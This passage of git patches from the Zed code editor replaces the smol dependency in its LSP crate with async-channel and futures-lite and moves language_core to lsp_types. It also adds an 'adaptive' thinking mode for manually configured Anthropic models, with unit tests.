@@ -10549,10 +10549,12 @@ name = "lsp"
 version = "0.1.0"
 dependencies = [
  "anyhow",
+ "async-channel 2.5.0",
  "async-pipe",
  "collections",
  "ctor",
  "futures 0.3.32",
+ "futures-lite 1.13.0",
  "gpui",
  "gpui_util",
  "log",
@@ -10564,7 +10566,6 @@ dependencies = [
  "semver",
  "serde",
  "serde_json",
- "smol",
  "util",
  "zlog",
 ]
diff --git a/Cargo.toml b/Cargo.toml
index 26324298e42652..29e6e44daa6913 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -814,7 +814,7 @@ toml_edit = { version = "0.22", default-features = false, features = [
     "serde",
 ] }
 tower-http = "0.4.4"
-tree-sitter = { version = "0.26.9", features = ["wasm"] }
+tree-sitter = "0.26.9"
 tree-sitter-bash = "0.25.1"
 tree-sitter-c = "0.24.1"
 tree-sitter-cpp = { git = "https://github.com/tree-sitter/tree-sitter-cpp", rev = "5cb9b693cfd7bfacab1d9ff4acac1a4150700609" }
diff --git a/crates/debugger_ui/Cargo.toml b/crates/debugger_ui/Cargo.toml
index 195d0d8df904b4..8a2364abb6814d 100644
--- a/crates/debugger_ui/Cargo.toml
+++ b/crates/debugger_ui/Cargo.toml
@@ -69,7 +69,7 @@ text.workspace = true
 theme.workspace = true
 theme_settings.workspace = true
 tree-sitter-json.workspace = true
-tree-sitter.workspace = true
+tree-sitter = { workspace = true, features = ["wasm"] }
 ui.workspace = true
 ui_input.workspace = true
 unindent = { workspace = true, optional = true }
diff --git a/crates/edit_prediction_context/Cargo.toml b/crates/edit_prediction_context/Cargo.toml
index 244b5f736e5862..f1bcefc4065231 100644
--- a/crates/edit_prediction_context/Cargo.toml
+++ b/crates/edit_prediction_context/Cargo.toml
@@ -26,7 +26,7 @@ serde.workspace = true
 smallvec.workspace = true
 telemetry.workspace = true
 text.workspace = true
-tree-sitter.workspace = true
+tree-sitter = { workspace = true, features = ["wasm"] }
 util.workspace = true
 zeta_prompt.workspace = true
 
@@ -43,4 +43,3 @@ serde_json.workspace = true
 settings = {workspace= true, features = ["test-support"]}
 text = { workspace = true, features = ["test-support"] }
 util = { workspace = true, features = ["test-support"] }
-
diff --git a/crates/extension_cli/Cargo.toml b/crates/extension_cli/Cargo.toml
index 623187faaa3fec..0927c246683863 100644
--- a/crates/extension_cli/Cargo.toml
+++ b/crates/extension_cli/Cargo.toml
@@ -34,5 +34,5 @@ theme_settings.workspace = true
 thiserror.workspace = true
 tokio = { workspace = true, features = ["full"] }
 toml.workspace = true
-tree-sitter.workspace = true
+tree-sitter = { workspace = true, features = ["wasm"] }
 wasmtime.workspace = true
diff --git a/crates/grammars/Cargo.toml b/crates/grammars/Cargo.toml
index 13b3bf5c94bb45..9d37f6cf265aa6 100644
--- a/crates/grammars/Cargo.toml
+++ b/crates/grammars/Cargo.toml
@@ -15,7 +15,6 @@ language_core.workspace = true
 rust-embed.workspace = true
 anyhow.workspace = true
 toml.workspace = true
-util.workspace = true
 
 tree-sitter = { workspace = true, optional = true }
 tree-sitter-bash = { workspace = true, optional = true }
@@ -57,4 +56,4 @@ load-grammars = [
     "tree-sitter-typescript",
     "tree-sitter-yaml",
 ]
-test-support = ["load-grammars"]
+test-support = ["load-grammars", "tree-sitter/wasm"]
diff --git a/crates/grammars/src/grammars.rs b/crates/grammars/src/grammars.rs
index 00d6e6281c45b1..e3c70c9dc39d17 100644
--- a/crates/grammars/src/grammars.rs
+++ b/crates/grammars/src/grammars.rs
@@ -1,7 +1,8 @@
+use std::borrow::Cow;
+
 use anyhow::Context as _;
 use language_core::{LanguageConfig, LanguageQueries, QUERY_FILENAME_PREFIXES};
 use rust_embed::RustEmbed;
-use util::asset_str;
 
 #[derive(RustEmbed)]
 #[folder = "src/"]
@@ -95,7 +96,10 @@ pub fn load_queries(name: &str) -> LanguageQueries {
             }
             for (prefix, query) in QUERY_FILENAME_PREFIXES {
                 if remainder.starts_with(prefix) {
-                    let contents = asset_str::<GrammarDir>(path.as_ref());
+                    let contents = match GrammarDir::get(path.as_ref()).unwrap().data {
+                        Cow::Borrowed(bytes) => Cow::Borrowed(std::str::from_utf8(bytes).unwrap()),
+                        Cow::Owned(bytes) => Cow::Owned(String::from_utf8(bytes).unwrap()),
+                    };
                     match query(&mut result) {
                         None => *query(&mut result) = Some(contents),
                         Some(existing) => existing.to_mut().push_str(contents.as_ref()),
diff --git a/crates/language/Cargo.toml b/crates/language/Cargo.toml
index 58a7517d2cb925..df493c393e7b48 100644
--- a/crates/language/Cargo.toml
+++ b/crates/language/Cargo.toml
@@ -68,7 +68,7 @@ tree-sitter-md = { workspace = true, optional = true }
 tree-sitter-python = { workspace = true, optional = true }
 tree-sitter-rust = { workspace = true, optional = true }
 tree-sitter-typescript = { workspace = true, optional = true }
-tree-sitter.workspace = true
+tree-sitter = { workspace = true, features = ["wasm"] }
 unicase = "2.6"
 util.workspace = true
 watch.workspace = true
diff --git a/crates/language/src/language.rs b/crates/language/src/language.rs
index f15b241b2964c6..4c57001cd69c60 100644
--- a/crates/language/src/language.rs
+++ b/crates/language/src/language.rs
@@ -1239,9 +1239,9 @@ impl LanguageScope {
     pub fn language_allowed(&self, name: &LanguageServerName) -> bool {
         let config = &self.language.config;
         let opt_in_servers = &config.scope_opt_in_language_servers;
-        if opt_in_servers.contains(name) {
+        if opt_in_servers.contains(&name.0) {
             if let Some(over) = self.config_override() {
-                over.opt_into_language_servers.contains(name)
+                over.opt_into_language_servers.contains(&name.0)
             } else {
                 false
             }
diff --git a/crates/language_core/Cargo.toml b/crates/language_core/Cargo.toml
index cd1143f61d3af1..91dca562a80670 100644
--- a/crates/language_core/Cargo.toml
+++ b/crates/language_core/Cargo.toml
@@ -12,7 +12,6 @@ anyhow.workspace = true
 collections.workspace = true
 gpui_shared_string.workspace = true
 log.workspace = true
-lsp.workspace = true
 parking_lot.workspace = true
 regex.workspace = true
 schemars.workspace = true
@@ -21,7 +20,8 @@ serde_json.workspace = true
 toml.workspace = true
 tree-sitter.workspace = true
 util.workspace = true
-
+gpui_util.workspace = true
+lsp-types.workspace = true
 
 [features]
 test-support = []
diff --git a/crates/language_core/src/code_label.rs b/crates/language_core/src/code_label.rs
index 0a98743d02b386..74e1d43e0c48ad 100644
--- a/crates/language_core/src/code_label.rs
+++ b/crates/language_core/src/code_label.rs
@@ -4,7 +4,7 @@ use std::ops::Range;
 #[derive(Debug, Clone)]
 pub struct Symbol {
     pub name: String,
-    pub kind: lsp::SymbolKind,
+    pub kind: lsp_types::SymbolKind,
     pub container_name: Option<String>,
 }
 
diff --git a/crates/language_core/src/diagnostic.rs b/crates/language_core/src/diagnostic.rs
index 00abcb61d1b129..b8c4fe8535d612 100644
--- a/crates/language_core/src/diagnostic.rs
+++ b/crates/language_core/src/diagnostic.rs
@@ -1,5 +1,5 @@
 use gpui_shared_string::SharedString;
-use lsp::{DiagnosticSeverity, NumberOrString};
+use lsp_types::{DiagnosticSeverity, NumberOrString};
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
 
@@ -12,7 +12,7 @@ pub struct Diagnostic {
     pub registration_id: Option<SharedString>,
     /// A machine-readable code that identifies this diagnostic.
     pub code: Option<NumberOrString>,
-    pub code_description: Option<lsp::Uri>,
+    pub code_description: Option<lsp_types::Uri>,
     /// Whether this diagnostic is a hint, warning, or error.
     pub severity: DiagnosticSeverity,
     /// The human-readable message associated with this diagnostic.
diff --git a/crates/language_core/src/grammar.rs b/crates/language_core/src/grammar.rs
index d81ced4420ae2b..7ab210b56cdf3f 100644
--- a/crates/language_core/src/grammar.rs
+++ b/crates/language_core/src/grammar.rs
@@ -5,7 +5,6 @@ use crate::{
 use anyhow::{Context as _, Result};
 use collections::HashMap;
 use gpui_shared_string::SharedString;
-use lsp::LanguageServerName;
 use parking_lot::Mutex;
 use std::sync::atomic::{AtomicUsize, Ordering::SeqCst};
 use tree_sitter::Query;
@@ -673,7 +672,7 @@ impl Grammar {
         language_name: &LanguageName,
         overrides: &HashMap<String, LanguageConfigOverride>,
         brackets: &mut BracketPairConfig,
-        scope_opt_in_language_servers: &[LanguageServerName],
+        scope_opt_in_language_servers: &[SharedString],
     ) -> Result<Self> {
         let query = Query::new(&self.ts_language, source)?;
 
@@ -691,7 +690,7 @@ impl Grammar {
             let value = overrides.get(name).cloned().unwrap_or_default();
             for server_name in &value.opt_into_language_servers {
                 if !scope_opt_in_language_servers.contains(server_name) {
-                    util::debug_panic!(
+                    gpui_util::debug_panic!(
                         "Server {server_name:?} has been opted-in by scope {name:?} but has not been marked as an opt-in server"
                     );
                 }
diff --git a/crates/language_core/src/language_config.rs b/crates/language_core/src/language_config.rs
index 93f9423ada0642..51903aef76a1f4 100644
--- a/crates/language_core/src/language_config.rs
+++ b/crates/language_core/src/language_config.rs
@@ -1,7 +1,6 @@
 use crate::LanguageName;
 use collections::{HashMap, HashSet, IndexSet};
 use gpui_shared_string::SharedString;
-use lsp::LanguageServerName;
 use regex::Regex;
 use schemars::{JsonSchema, SchemaGenerator, json_schema};
 use serde::{Deserialize, Deserializer, Serialize, Serializer, de};
@@ -105,7 +104,7 @@ pub struct LanguageConfig {
     pub rewrap_prefixes: Vec<Regex>,
     /// A list of language servers that are allowed to run on subranges of a given language.
     #[serde(default)]
-    pub scope_opt_in_language_servers: Vec<LanguageServerName>,
+    pub scope_opt_in_language_servers: Vec<SharedString>,
     #[serde(default)]
     pub overrides: HashMap<String, LanguageConfigOverride>,
     /// A list of characters that Zed should treat as word characters for the
@@ -377,7 +376,7 @@ pub struct LanguageConfigOverride {
     #[serde(default)]
     pub linked_edit_characters: Override<HashSet<char>>,
     #[serde(default)]
-    pub opt_into_language_servers: Vec<LanguageServerName>,
+    pub opt_into_language_servers: Vec<SharedString>,
     #[serde(default)]
     pub prefer_label_for_snippet: Option<bool>,
 }
diff --git a/crates/language_core/src/lsp_adapter.rs b/crates/language_core/src/lsp_adapter.rs
index 8f449637b306c2..230e1b4aa194e5 100644
--- a/crates/language_core/src/lsp_adapter.rs
+++ b/crates/language_core/src/lsp_adapter.rs
@@ -4,7 +4,7 @@ use serde::{Deserialize, Serialize};
 /// Converts a value into an LSP position.
 pub trait ToLspPosition {
     /// Converts the value into an LSP position.
-    fn to_lsp_position(self) -> lsp::Position;
+    fn to_lsp_position(self) -> lsp_types::Position;
 }
 
 /// Context provided to LSP adapters when a user responds to a ShowMessageRequest prompt.
@@ -15,7 +15,7 @@ pub struct PromptResponseContext {
     /// The original message shown to the user
     pub message: String,
     /// The action (button) the user selected
-    pub selected_action: lsp::MessageActionItem,
+    pub selected_action: lsp_types::MessageActionItem,
 }
 
 #[derive(Clone, Debug, PartialEq, Eq)]
diff --git a/crates/language_tools/Cargo.toml b/crates/language_tools/Cargo.toml
index 26e230c1d92f67..4e18b4f3ef7413 100644
--- a/crates/language_tools/Cargo.toml
+++ b/crates/language_tools/Cargo.toml
@@ -31,7 +31,7 @@ serde_json.workspace = true
 settings.workspace = true
 telemetry.workspace = true
 theme.workspace = true
-tree-sitter.workspace = true
+tree-sitter = { workspace = true, features = ["wasm"] }
 sysinfo.workspace = true
 ui.workspace = true
 util.workspace = true
@@ -45,4 +45,4 @@ gpui = { workspace = true, features = ["test-support"] }
 semver.workspace = true
 util = { workspace = true, features = ["test-support"] }
 zlog.workspace = true
-theme_settings.workspace = true
\ No newline at end of file
+theme_settings.workspace = true
diff --git a/crates/languages/Cargo.toml b/crates/languages/Cargo.toml
index 358a9ad267e6e5..cf35e2e1e160d0 100644
--- a/crates/languages/Cargo.toml
+++ b/crates/languages/Cargo.toml
@@ -59,7 +59,7 @@ snippet.workspace = true
 task.workspace = true
 terminal.workspace = true
 theme.workspace = true
-tree-sitter = { workspace = true, optional = true }
+tree-sitter = { workspace = true, optional = true , features = ["wasm"] }
 tree-sitter-gitcommit = { workspace = true, optional = true }
 url.workspace = true
 util.workspace = true
@@ -78,5 +78,5 @@ tree-sitter-go.workspace = true
 tree-sitter-python.workspace = true
 tree-sitter-rust.workspace = true
 tree-sitter-typescript.workspace = true
-tree-sitter.workspace = true
+tree-sitter = { workspace = true, features = ["wasm"] }
 unindent.workspace = true
diff --git a/crates/lsp/Cargo.toml b/crates/lsp/Cargo.toml
index 2c48575a648a9e..7bffc73f2f4a0c 100644
--- a/crates/lsp/Cargo.toml
+++ b/crates/lsp/Cargo.toml
@@ -13,25 +13,26 @@ path = "src/lsp.rs"
 doctest = false
 
 [features]
-test-support = ["async-pipe", "gpui_util"]
+test-support = ["async-pipe"]
 
 [dependencies]
 anyhow.workspace = true
+async-channel.workspace = true
 async-pipe = { workspace = true, optional = true }
 collections.workspace = true
-gpui_util = { workspace = true, optional = true }
+futures-lite.workspace = true
 futures.workspace = true
 gpui.workspace = true
+gpui_util.workspace = true
 log.workspace = true
 lsp-types.workspace = true
 parking_lot.workspace = true
 postage.workspace = true
+release_channel.workspace = true
+schemars.workspace = true
 serde.workspace = true
 serde_json.workspace = true
-schemars.workspace = true
-smol.workspace = true
 util.workspace = true
-release_channel.workspace = true
 
 [dev-dependencies]
 async-pipe.workspace = true
diff --git a/crates/lsp/src/input_handler.rs b/crates/lsp/src/input_handler.rs
index 679ae5c1f6cdeb..9173eeae85a519 100644
--- a/crates/lsp/src/input_handler.rs
+++ b/crates/lsp/src/input_handler.rs
@@ -6,11 +6,11 @@ use collections::HashMap;
 use futures::{
     AsyncBufReadExt, AsyncRead, AsyncReadExt as _, SinkExt as _,
     channel::mpsc::{Receiver, Sender, channel},
+    io::BufReader,
 };
 use gpui::{BackgroundExecutor, Task};
 use log::warn;
 use parking_lot::Mutex;
-use smol::io::BufReader;
 
 use crate::{
     AnyResponse, CONTENT_LEN_HEADER, IoHandler, IoKind, NotificationOrRequest, RequestId,
@@ -190,12 +190,12 @@ mod tests {
     #[gpui::test]
     async fn test_read_headers() {
         let mut buf = Vec::new();
-        let mut reader = smol::io::BufReader::new(b"Content-Length: 123\r\n\r\n" as &[u8]);
+        let mut reader = BufReader::new(b"Content-Length: 123\r\n\r\n" as &[u8]);
         read_headers(&mut reader, &mut buf).await.unwrap();
         assert_eq!(buf, b"Content-Length: 123\r\n\r\n");
 
         let mut buf = Vec::new();
-        let mut reader = smol::io::BufReader::new(b"Content-Type: application/vscode-jsonrpc\r\nContent-Length: 1235\r\n\r\n{\"somecontent\":123}" as &[u8]);
+        let mut reader = BufReader::new(b"Content-Type: application/vscode-jsonrpc\r\nContent-Length: 1235\r\n\r\n{\"somecontent\":123}" as &[u8]);
         read_headers(&mut reader, &mut buf).await.unwrap();
         assert_eq!(
             buf,
@@ -203,7 +203,7 @@ mod tests {
         );
 
         let mut buf = Vec::new();
-        let mut reader = smol::io::BufReader::new(b"Content-Length: 1235\r\nContent-Type: application/vscode-jsonrpc\r\n\r\n{\"somecontent\":true}" as &[u8]);
+        let mut reader = BufReader::new(b"Content-Length: 1235\r\nContent-Type: application/vscode-jsonrpc\r\n\r\n{\"somecontent\":true}" as &[u8]);
         read_headers(&mut reader, &mut buf).await.unwrap();
         assert_eq!(
             buf,
diff --git a/crates/lsp/src/lsp.rs b/crates/lsp/src/lsp.rs
index 550b27e131609d..361c5665d2703a 100644
--- a/crates/lsp/src/lsp.rs
+++ b/crates/lsp/src/lsp.rs
@@ -6,10 +6,10 @@ pub use lsp_types::*;
 use anyhow::{Context as _, Result, anyhow};
 use collections::{BTreeMap, HashMap};
 use futures::{
-    AsyncRead, AsyncWrite, Future, FutureExt,
+    AsyncBufReadExt, AsyncRead, AsyncWrite, AsyncWriteExt, Future, FutureExt, StreamExt,
     channel::oneshot::{self, Canceled},
     future::{self, Either},
-    io::BufWriter,
+    io::{BufReader, BufWriter},
     select,
 };
 use gpui::{App, AppContext as _, AsyncApp, BackgroundExecutor, SharedString, Task};
@@ -19,12 +19,9 @@ use postage::{barrier, prelude::Stream};
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize, de::DeserializeOwned};
 use serde_json::{Value, json, value::RawValue};
-use smol::{
-    channel,
-    io::{AsyncBufReadExt, AsyncWriteExt, BufReader},
-};
 use util::command::{Child, Stdio};
 
+use gpui_util::{ResultExt, TryFutureExt};
 use std::path::Path;
 use std::{
     any::TypeId,
@@ -42,7 +39,7 @@ use std::{
     task::Poll,
     time::{Duration, Instant},
 };
-use util::{ConnectionResult, ResultExt, TryFutureExt, redact};
+use util::{ConnectionResult, redact};
 
 const JSON_RPC_VERSION: &str = "2.0";
 const CONTENT_LEN_HEADER: &str = "Content-Length: ";
@@ -99,8 +96,8 @@ struct NotificationSerializer(Box<dyn FnOnce() -> String + Send + Sync>);
 pub struct LanguageServer {
     server_id: LanguageServerId,
     next_id: AtomicI32,
-    outbound_tx: channel::Sender<String>,
-    notification_tx: channel::Sender<NotificationSerializer>,
+    outbound_tx: async_channel::Sender<String>,
+    notification_tx: async_channel::Sender<NotificationSerializer>,
     name: LanguageServerName,
     version: Option<SharedString>,
     process_name: Arc<str>,
@@ -483,7 +480,7 @@ impl LanguageServer {
         Stderr: AsyncRead + Unpin + Send + 'static,
         F: Fn(&NotificationOrRequest) -> bool + 'static + Send + Sync + Clone,
     {
-        let (outbound_tx, outbound_rx) = channel::unbounded::<String>();
+        let (outbound_tx, outbound_rx) = async_channel::unbounded::<String>();
         let (output_done_tx, output_done_rx) = barrier::channel();
         let notification_handlers =
             Arc::new(Mutex::new(HashMap::<_, NotificationHandler>::default()));
@@ -563,7 +560,8 @@ impl LanguageServer {
         }
         .into();
 
-        let (notification_tx, notification_rx) = channel::unbounded::<NotificationSerializer>();
+        let (notification_tx, notification_rx) =
+            async_channel::unbounded::<NotificationSerializer>();
         cx.background_spawn({
             let outbound_tx = outbound_tx.clone();
             async move {
@@ -623,9 +621,8 @@ impl LanguageServer {
     where
         Stdout: AsyncRead + Unpin + Send + 'static,
     {
-        use smol::stream::StreamExt;
         let stdout = BufReader::new(stdout);
-        let _clear_response_handlers = util::defer({
+        let _clear_response_handlers = gpui_util::defer({
             let response_handlers = response_handlers.clone();
             move || {
                 response_handlers.lock().take();
@@ -667,7 +664,7 @@ impl LanguageServer {
             }
 
             // Don't starve the main thread when receiving lots of notifications at once.
-            smol::future::yield_now().await;
+            futures_lite::future::yield_now().await;
         }
         input_handler.loop_handle.await
     }
@@ -703,13 +700,13 @@ impl LanguageServer {
             }
 
             // Don't starve the main thread when receiving lots of messages at once.
-            smol::future::yield_now().await;
+            futures_lite::future::yield_now().await;
         }
     }
 
     async fn handle_outgoing_messages<Stdin>(
         stdin: Stdin,
-        outbound_rx: channel::Receiver<String>,
+        outbound_rx: async_channel::Receiver<String>,
         output_done_tx: barrier::Sender,
         response_handlers: Arc<Mutex<Option<HashMap<RequestId, ResponseHandler>>>>,
         io_handlers: Arc<Mutex<HashMap<i32, IoHandler>>>,
@@ -1426,8 +1423,8 @@ impl LanguageServer {
     fn request_internal_with_timer<T, U>(
         next_id: &AtomicI32,
         response_handlers: &Arc<Mutex<Option<HashMap<RequestId, ResponseHandler>>>>,
-        outbound_tx: &channel::Sender<String>,
-        notification_serializers: &channel::Sender<NotificationSerializer>,
+        outbound_tx: &async_channel::Sender<String>,
+        notification_serializers: &async_channel::Sender<NotificationSerializer>,
         executor: &BackgroundExecutor,
         timer: U,
         params: T::Params,
@@ -1489,7 +1486,7 @@ impl LanguageServer {
                 return ConnectionResult::Result(Err(e));
             }
 
-            let cancel_on_drop = util::defer(move || {
+            let cancel_on_drop = gpui_util::defer(move || {
                 if let Some(notification_serializers) = notification_serializers.upgrade() {
                     Self::notify_internal::<notification::Cancel>(
                         &notification_serializers,
@@ -1536,8 +1533,8 @@ impl LanguageServer {
     fn request_internal<T>(
         next_id: &AtomicI32,
         response_handlers: &Arc<Mutex<Option<HashMap<RequestId, ResponseHandler>>>>,
-        outbound_tx: &channel::Sender<String>,
-        notification_serializers: &channel::Sender<NotificationSerializer>,
+        outbound_tx: &async_channel::Sender<String>,
+        notification_serializers: &async_channel::Sender<NotificationSerializer>,
         executor: &BackgroundExecutor,
         request_timeout: Duration,
         params: T::Params,
@@ -1588,7 +1585,7 @@ impl LanguageServer {
     }
 
     fn notify_internal<T: notification::Notification>(
-        outbound_tx: &channel::Sender<NotificationSerializer>,
+        outbound_tx: &async_channel::Sender<NotificationSerializer>,
         params: T::Params,
     ) -> Result<()> {
         let serializer = NotificationSerializer(Box::new(move || {
@@ -1822,7 +1819,7 @@ impl Drop for Subscription {
 pub struct FakeLanguageServer {
     pub binary: LanguageServerBinary,
     pub server: Arc<LanguageServer>,
-    notifications_rx: channel::Receiver<(String, String)>,
+    notifications_rx: async_channel::Receiver<(String, String)>,
 }
 
 #[cfg(any(test, feature = "test-support"))]
@@ -1837,7 +1834,7 @@ impl FakeLanguageServer {
     ) -> (LanguageServer, FakeLanguageServer) {
         let (stdin_writer, stdin_reader) = async_pipe::pipe();
         let (stdout_writer, stdout_reader) = async_pipe::pipe();
-        let (notifications_tx, notifications_rx) = channel::unbounded();
+        let (notifications_tx, notifications_rx) = async_channel::unbounded();
 
         let server_name = LanguageServerName(name.clone().into());
         let process_name = Arc::from(name.as_str());
@@ -2105,8 +2102,8 @@ mod tests {
             &mut cx.to_async(),
         );
 
-        let (message_tx, message_rx) = channel::unbounded();
-        let (diagnostics_tx, diagnostics_rx) = channel::unbounded();
+        let (message_tx, message_rx) = async_channel::unbounded();
+        let (diagnostics_tx, diagnostics_rx) = async_channel::unbounded();
         server
             .on_notification::<notification::ShowMessage, _>(move |params, _| {
                 message_tx.try_send(params).unwrap()
diff --git a/crates/migrator/Cargo.toml b/crates/migrator/Cargo.toml
index cb97f7fb6ced68..162473060ab8e6 100644
--- a/crates/migrator/Cargo.toml
+++ b/crates/migrator/Cargo.toml
@@ -19,7 +19,7 @@ convert_case.workspace = true
 log.workspace = true
 streaming-iterator.workspace = true
 tree-sitter-json.workspace = true
-tree-sitter.workspace = true
+tree-sitter = { workspace = true, features = ["wasm"] }
 serde_json_lenient.workspace = true
 serde_json.workspace = true
 settings_content.workspace = true
diff --git a/crates/multi_buffer/Cargo.toml b/crates/multi_buffer/Cargo.toml
index 5dccddaba62735..fa680c4fc57d8b 100644
--- a/crates/multi_buffer/Cargo.toml
+++ b/crates/multi_buffer/Cargo.toml
@@ -41,7 +41,7 @@ smallvec.workspace = true
 sum_tree.workspace = true
 text.workspace = true
 theme.workspace = true
-tree-sitter.workspace = true
+tree-sitter = { workspace = true, features = ["wasm"] }
 ztracing.workspace = true
 tracing.workspace = true
 util.workspace = true
diff --git a/crates/settings_json/Cargo.toml b/crates/settings_json/Cargo.toml
index aeaf5ec3c16a9c..f5aac0c53c343a 100644
--- a/crates/settings_json/Cargo.toml
+++ b/crates/settings_json/Cargo.toml
@@ -16,7 +16,7 @@ default = []
 
 [dependencies]
 anyhow.workspace = true
-tree-sitter.workspace = true
+tree-sitter = { workspace = true, features = ["wasm"] }
 tree-sitter-json.workspace = true
 util.workspace = true
 serde.workspace = true

From d0a977e6513a7f456c5d451a0ed538c5f2b70784 Mon Sep 17 00:00:00 2001
From: zerx-lab <161401688+zerx-lab@users.noreply.github.com>
Date: Tue, 14 Jul 2026 23:04:47 +0800
Subject: [PATCH 450/772] Allow configuring adaptive thinking for Anthropic
 available_models (#57207)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Split off from #57105 per @maxdeviant's review.

`language_model_core::ModelMode` previously had only `Default` and
`Thinking` variants. As a result, `available_model_to_anthropic_model`
in the Anthropic provider had a dead branch for `AdaptiveThinking` that
was never reachable from settings, and users manually configuring Claude
models via `available_models` could only toggle extended thinking on/off
— they could not opt into adaptive thinking and its
low/medium/high/xhigh/max effort selector. This matters most for users
on third-party Anthropic-compatible proxies, where the `/v1/models`
endpoint may not report a `capabilities` block, leaving
`available_models` as the only path to enable adaptive thinking.

Add an `Adaptive` variant to `ModelMode` and map it to
`AnthropicModelMode::AdaptiveThinking` in the Anthropic provider's
settings conversion. Users can now write:

```json
{
  "language_models": {
    "anthropic": {
      "available_models": [
        {
          "name": "claude-opus-4-7",
          "display_name": "Claude Opus 4.7",
          "max_tokens": 1000000,
          "max_output_tokens": 128000,
          "mode": { "type": "adaptive" }
        }
      ]
    }
  }
}
```

and get the full adaptive-thinking UX in the agent panel.

### Impact on other providers

`ModelMode` is re-exported by Google (`GoogleModelMode`) and OpenRouter.
Both already use non-exhaustive `matches!` checks for `Thinking`, so the
new variant naturally falls through to "no thinking" without compile
breakage. Bedrock defines its own local `ModelMode` enum and is
unaffected. `cargo check --workspace --all-targets` passes.

### Tests

Three new tests in `crates/language_models/src/provider/anthropic.rs`
covering Adaptive / Thinking / Default settings → model mapping:

- `cargo test -p language_models --lib provider::anthropic::`: 3/3
passing.
- `./script/clippy --package language_models --package
language_model_core`: clean.

Release Notes:

- agent: Added support for `"mode": { "type": "adaptive" }` for custom
anthropic to enable adaptive thinking

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
---
 .../src/language_model_core.rs                |  1 +
 .../language_models/src/provider/anthropic.rs | 70 +++++++++++++++++++
 .../src/provider/anthropic_compatible.rs      |  9 ++-
 3 files changed, 78 insertions(+), 2 deletions(-)

diff --git a/crates/language_model_core/src/language_model_core.rs b/crates/language_model_core/src/language_model_core.rs
index 36b76cf72469cf..e514a0155a80f0 100644
--- a/crates/language_model_core/src/language_model_core.rs
+++ b/crates/language_model_core/src/language_model_core.rs
@@ -557,6 +557,7 @@ pub enum ModelMode {
     Thinking {
         budget_tokens: Option<u32>,
     },
+    Adaptive,
 }
 
 /// Settings-layer–free reasoning-effort enum.
diff --git a/crates/language_models/src/provider/anthropic.rs b/crates/language_models/src/provider/anthropic.rs
index 8a0552577066ac..a3df6cfe88624c 100644
--- a/crates/language_models/src/provider/anthropic.rs
+++ b/crates/language_models/src/provider/anthropic.rs
@@ -327,6 +327,7 @@ fn available_model_to_anthropic_model(available: &AvailableModel) -> anthropic::
         settings::ModelMode::Thinking { budget_tokens } => {
             AnthropicModelMode::Thinking { budget_tokens }
         }
+        settings::ModelMode::Adaptive => AnthropicModelMode::AdaptiveThinking,
     };
     let supports_thinking = matches!(
         mode,
@@ -376,6 +377,75 @@ fn available_model_to_anthropic_model(available: &AvailableModel) -> anthropic::
     }
 }
 
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn parse_available_model(json: &str) -> AvailableModel {
+        serde_json::from_str(json).expect("test fixture should parse")
+    }
+
+    #[test]
+    fn adaptive_mode_maps_to_adaptive_thinking_with_all_effort_levels() {
+        let available = parse_available_model(
+            r#"{
+                "name": "claude-opus-4-7",
+                "max_tokens": 1000000,
+                "max_output_tokens": 128000,
+                "mode": { "type": "adaptive" }
+            }"#,
+        );
+        let model = available_model_to_anthropic_model(&available);
+
+        assert_eq!(model.mode, AnthropicModelMode::AdaptiveThinking);
+        assert!(model.supports_thinking);
+        assert!(model.supports_adaptive_thinking);
+        assert_eq!(
+            model.supported_effort_levels,
+            vec![
+                anthropic::Effort::Low,
+                anthropic::Effort::Medium,
+                anthropic::Effort::High,
+                anthropic::Effort::XHigh,
+                anthropic::Effort::Max,
+            ]
+        );
+    }
+
+    #[test]
+    fn thinking_mode_does_not_enable_adaptive() {
+        let available = parse_available_model(
+            r#"{
+                "name": "claude-sonnet-4-5",
+                "max_tokens": 200000,
+                "mode": { "type": "thinking", "budget_tokens": 4096 }
+            }"#,
+        );
+        let model = available_model_to_anthropic_model(&available);
+
+        assert!(matches!(model.mode, AnthropicModelMode::Thinking { .. }));
+        assert!(model.supports_thinking);
+        assert!(!model.supports_adaptive_thinking);
+        assert!(model.supported_effort_levels.is_empty());
+    }
+
+    #[test]
+    fn default_mode_disables_thinking() {
+        let available = parse_available_model(
+            r#"{
+                "name": "claude-3-5-haiku",
+                "max_tokens": 200000
+            }"#,
+        );
+        let model = available_model_to_anthropic_model(&available);
+
+        assert_eq!(model.mode, AnthropicModelMode::Default);
+        assert!(!model.supports_thinking);
+        assert!(!model.supports_adaptive_thinking);
+        assert!(model.supported_effort_levels.is_empty());
+    }
+}
+
 pub struct AnthropicModel {
     id: LanguageModelId,
     model: anthropic::Model,
diff --git a/crates/language_models/src/provider/anthropic_compatible.rs b/crates/language_models/src/provider/anthropic_compatible.rs
index 633494e3a78458..49813405000f69 100644
--- a/crates/language_models/src/provider/anthropic_compatible.rs
+++ b/crates/language_models/src/provider/anthropic_compatible.rs
@@ -54,8 +54,13 @@ fn available_model_to_anthropic_model(available: &AvailableModel) -> anthropic::
         settings::ModelMode::Thinking { budget_tokens } => {
             AnthropicModelMode::Thinking { budget_tokens }
         }
+        settings::ModelMode::Adaptive => AnthropicModelMode::AdaptiveThinking,
     };
-    let supports_thinking = matches!(mode, AnthropicModelMode::Thinking { .. });
+    let supports_thinking = matches!(
+        mode,
+        AnthropicModelMode::Thinking { .. } | AnthropicModelMode::AdaptiveThinking
+    );
+    let supports_adaptive_thinking = matches!(mode, AnthropicModelMode::AdaptiveThinking { .. });
 
     anthropic::Model {
         display_name: available
@@ -68,7 +73,7 @@ fn available_model_to_anthropic_model(available: &AvailableModel) -> anthropic::
         default_temperature: available.default_temperature.unwrap_or(1.0),
         mode,
         supports_thinking,
-        supports_adaptive_thinking: false,
+        supports_adaptive_thinking,
         supports_images: available.capabilities.images,
         supports_speed: false,
         supports_compaction: false,

From af7de9a03cb8365cd754e686c764c7075ed4d5e3 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Tue, 14 Jul 2026 18:10:32 +0300
Subject: [PATCH 451/772] Fix project panel follow focus issues (#60974)

Closes https://github.com/zed-industries/zed/issues/60939
Closes https://github.com/zed-industries/zed/issues/60940

Release Notes:

- Fixed focus follows mouse in project panel's blank space
---
